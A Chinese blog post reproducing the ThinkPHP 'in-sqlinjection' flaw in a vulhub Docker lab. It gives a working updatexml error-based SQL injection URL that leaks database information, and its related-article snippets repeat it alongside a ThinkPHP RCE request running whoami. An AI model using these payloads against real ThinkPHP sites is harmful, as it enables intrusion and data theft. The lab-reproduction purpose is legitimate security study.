thinkphp-in-sqlinjection漏洞复现

最新推荐文章于 2024-06-24 18:30:23 发布
最新推荐文章于 2024-06-24 18:30:23 发布
阅读量816 收藏
点赞数
分类专栏： 漏洞复现 thinkphp 文章标签： 安全 php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_29977871/article/details/125680735
版权
该博客内容涉及在Docker环境中成功复现了一个PHP的漏洞利用情况。通过/index.php的参数注入，利用updatexml函数，攻击者可以获取敏感信息。此 poc 输入导致了信息泄露，表明存在安全风险。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

docker搭建好环境

 poc

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

 输入爆出敏感信息

 复现成功

[ vulhub漏洞复现篇 ] Thinkphp SQL注入 && 敏感信息泄露
qq_51577576的博客
09-29 1853
[ vulhub漏洞复现篇 ] Thinkphp SQL注入 && 敏感信息泄露 ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。 Thinkphp5X设计缺陷导致泄漏数据库账户密码
复现Thinkphp 2.x 任意代码执行漏洞
记录并分享学习安全的知识点..
07-03 490
​ ThinkPHP是一个免费开源用户数量非常多的一个PHP开发框架，这个框架曾经爆出各种RCE和SQL注入漏洞。由于 ThinkPHP 中没有对控制器进行检测，导致在没有开启强制路由的情况下攻击者可以通过此漏洞进行远程命令执行。 ......
漏洞复现—ThinkPHP 2.x/5.0.x/5.1.x/5 in-sqlinjection 命令执行漏洞
weixin_45556536的博客
11-24 1620
Thinkphp—2-rce一级目录二级目录三级目录涉及版本漏洞复现2-rce 一级目录 二级目录 三级目录 涉及版本 5.0.8-5.0.13 不需要开启debug // payload POST /tp5010/public/index.php?s=index/index/index HTTP/1.1 Host: 127.0.0.1:8000 Content-Length: 52 Content-Type: application/x-www-form-urlencoded s=whoami&a
Thinkphp--in-sqlinjection
m0_74402888的博客
04-27 429
在 Builder 类的 parseData 方法中，由于程序没有对数据进行很好的过滤，将数据拼接进 SQL 语句，导致 SQL注入漏洞 的产生。影响版本在相应的文件夹位置打开终端后进行如下操作。
buuctf [ThinkPHP]IN SQL INJECTION
qq_1873822的博客
03-19 1156
打开这样的 爆出用户名密码 ?ids[]=1&ids[]=2 错误回显敏感信息，数据库名 ?ids[0,updatexml(0,concat(0xa,user()),0)]=1 漏洞原理 https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html https://www.secpulse.com/archives/59120.html ...
[ThinkPHP]IN SQL INJECTION1
weixin_51558394的博客
08-17 401
[ThinkPHP]IN SQL INJECTION 1
vulhub thinkphp漏洞复现 | in-sqliniection、2-rce、5.0.23-rce、5-rce漏洞复现（详细图解）
鱼溯的博客
02-02 2060
vulhub thinkphp漏洞复现 | in-sqliniection、2-rce、5.0.23-rce、5-rce漏洞复现（详细图解）
【thinkphp漏洞复现】2-RCE+5.0.23-RCE+5-RCE远程代码执行漏洞+in-sqlinjectionSQL注入漏洞
serendipity1130的博客
09-01 1784
参考文章：https://blog.csdn.net/weixin_43071873/article/details/110084577 一、2-RCE 漏洞详情： ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中，使用preg_replace的/e模式匹配路由： 导致用户的输入参数被插入双引号中执行，造成任意代码执行漏洞。 preg_replace(‘正则规则’,‘替换字符’,‘目标字符’) 如果目标字符存在符合正则规则的字符，那么就替换为替换字符，如果此时
网络安全---渗透测试---框架漏洞-ThinkPHP5.0、Struts2
weixin_52796034的博客
11-05 1109
反弹shell（Reverse Shell）是一种计算机安全和网络攻击技术，通常被用于与远程目标系统建立命令行交互式连接。这个连接允许攻击者在远程系统上执行命令，获取系统访问权限，以及进行横向移动和数据操作。反弹shell的工作方式如下：攻击者和目标系统之间建立连接：通常，攻击者首先在目标系统上部署一个恶意程序（例如Trojan或后门），该程序会与攻击者的控制服务器建立连接。目标系统反弹连接：一旦恶意程序在目标系统上执行，它会尝试与攻击者的控制服务器建立连接。
ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
weixin_51387754的博客
12-30 5035
漏洞简介 ThinkPHP是一个免费开源的，快速、简单的面向对象的轻量级PHP开发框架，是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，也注重易用性。 模块：thinkphp 所有的主入口文件默认访问index控制器   方法：thinkphp 所有的控制器默认执行index动作   构造：http://IP/index.php（或者其它应用入口文件）？s=/模块/控制器/操作/[参数名/参数值…] 原理：控制了i
Thinkphp in-sqlinjection复现
MDSEC的博客
08-19 129
在 Builder 类的 parseData 方法中，由于程序没有对数据进行很好的过滤，将数据拼接进 SQL 语句，导致 SQL注入漏洞 的产生。Thinkphp in-sqlinjection复现。访问时加上下面的playload就可以获取敏感信息。
BUUCTF-Real-[ThinkPHP]IN SQL INJECTION
分享
02-05 1741
ThinkPHP5 SQL注入漏洞！
ThinkPHP最新版本SQL注入漏洞
weixin_30631587的博客
01-23 622
如下controller即可触发SQL注入： code 区域 public function test() { $uname = I('get.uname'); $u = M('user')->where(array( 'uname' => $uname ))->f...
Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞（六十六）
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
06-24 1019
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装，我们进入 ThinkPHP漏洞环境，可以 cd ThinkPHP，然后通过 ls 查看可以搭建的靶场，目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。然后我们在浏览器输入就可以访问靶场环境。
Thinkphp框架漏洞---＞5，2024年最新网络安全进阶
2401_83947105的博客
04-14 1798
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
vulhub-thinkphp漏洞复现
qq_51922767的博客
09-14 2826
vulhub-thinkphp漏洞复现
thinkphp漏洞总结
热门推荐
scu_hacker博客
01-19 1万+
目录 前言 一、远程代码执行漏洞 1.1 影响范围 1.2 漏洞详情 二、5.x远程命令注入 三、5.1.x SQL注入 前言 thinkphp是一个国内轻量级的开发框架，采用php+apache，在更新迭代中，thinkphp也经常爆出各种漏洞，thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本，前两个版本已经停止更新，主要介绍下thinkphp5的漏洞 一、远程代码执行漏洞 1.1 影响范围 thinkphp&l...
DVWA之SQL Injection
谢公子的博客
08-05 7268
SQL Injection SQL Injection，即SQL注入，是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的，常常会导致整个数据库被“脱裤”，尽管如此，SQL注入仍是现在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件，据说黑客依靠的就是常见的SQL注入漏洞。 手工注入思路 自动化的注入神器sqlmap...
thinkphpsql漏洞复现
最新发布
12-28
cd vulhub/thinkphp/in-sqlinjection docker-compose up -d ``` #### 漏洞验证 Payload 通过发送特定构造的数据包来触发 SQL 注入行为，下面是一个用于检测是否存在漏洞的有效载荷 (Payload) 示例： ```plaintext ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值